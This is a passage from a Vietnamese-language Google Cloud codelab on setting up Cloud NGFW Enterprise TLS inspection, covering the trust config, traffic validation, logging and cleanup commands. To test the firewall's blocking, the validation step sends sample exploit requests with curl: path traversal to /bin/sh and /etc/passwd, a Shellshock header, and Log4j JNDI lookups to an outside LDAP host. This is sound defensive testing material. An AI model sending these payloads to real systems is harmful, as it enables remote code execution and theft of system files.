Các lệnh trên đã đưa chứng chỉ CA gốc vào kho lưu trữ tin cậy vì chứng chỉ máy chủ của bạn đã được ký bằng CA gốc. Điều này có nghĩa là tường lửa sẽ tin tưởng mọi chứng chỉ mà nó nhận được do CA gốc ký, ngoài các CA công khai nếu chính sách TLS của bạn đặt excludePublicCaSet thành false.
Kiểm tra nội dung của cấu hình tin cậy.
cat trust_config.yaml
Kết quả mẫu:
Chú ý đến cách căn chỉnh thụt đầu dòng của chứng chỉ. Tên phải tuân theo định dạng này một cách chính xác.
name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
Nhập cấu hình tin cậy:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Cập nhật tệp YAML Chính sách TLS để thêm cấu hình tin cậy:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Nhập Chính sách TLS mới cập nhật:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Xác thực quy trình kiểm tra TLS E/W
SSH trở lại máy khách để kiểm thử lưu lượng truy cập E/W bằng cấu hình tin cậy đã cập nhật:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Chạy yêu cầu TLS mẫu đến máy chủ:
curl https://$target_privateip --max-time 2
Nếu bạn vẫn nhận được kết quả dưới đây, vui lòng đợi nội dung cập nhật được truyền tải.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Kết quả đầu ra dự kiến:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Gửi lưu lượng truy cập kiểm thử độc hại đến máy chủ:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Kết quả đầu ra dự kiến:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Không nhận được phản hồi theo kết quả dự kiến dưới đây, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn đối với E/W.
13. Ghi nhật ký
Chuyển đến phần Ghi nhật ký > Trình khám phá nhật ký thông qua Cloud Console, nhập bộ lọc bên dưới rồi truy vấn nhật ký. Thay thế [PROJECT_ID] bằng project_id của bạn:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Các mục nhật ký của Cloud NGFW Enterprise sẽ tương tự như sau:
Mở rộng các mục nhập nhật ký và lưu ý rằng các cuộc tấn công được gửi từ máy ảo máy khách đến máy chủ đã được xác định và chặn (Lỗ hổng thực thi mã từ xa Apache Log4j theo ảnh chụp màn hình bên dưới).
Bạn đã triển khai thành công Cloud NGFW Enterprise có tính năng Kiểm tra TLS để chặn các yêu cầu độc hại.
Hãy chuyển sang phần tiếp theo để xem các bước dọn dẹp.
14. Các bước dọn dẹp
Dọn dẹp chế độ thiết lập cơ sở
Xoá các thực thể:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Thực hiện các bước bên dưới if vai trò tagAdmin và tagUsers đã thay đổi:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Xoá khoá và giá trị Thẻ:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Xoá Chính sách mạng của Tường lửa trên đám mây và mối liên kết:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Xoá Cloud Router và Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Xoá các địa chỉ IP được đặt trước:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Xoá SPG, liên kết và TLS của Tường lửa trên đám mây
Xoá Nhóm hồ sơ bảo mật và Hồ sơ mối đe doạ theo thứ tự sau:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Xoá mối liên kết điểm cuối của Tường lửa trên đám mây:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Xoá điểm cuối của Tường lửa trên đám mây. Quá trình này có thể mất khoảng 20 phút:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Bạn có thể xác nhận rằng điểm cuối của Cloud NGFW đã bị xoá bằng cách chạy lệnh dưới đây:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Trạng thái của điểm cuối sẽ hiển thị:
STATE: DELETING
Khi hoàn tất, điểm cuối sẽ không còn xuất hiện trong danh sách nữa.
Xoá Chính sách TLS và Cấu hình tin cậy theo thứ tự sau:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Tắt và xoá CA gốc và Vùng chứa CA:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Dọn dẹp VPC và mạng con
Cuối cùng, hãy xoá mạng con và mạng VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. Xin chúc mừng!
Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình về Cloud NGFW Enterprise cho hoạt động kiểm tra TLS theo hướng Đông-Tây và Bắc-Nam.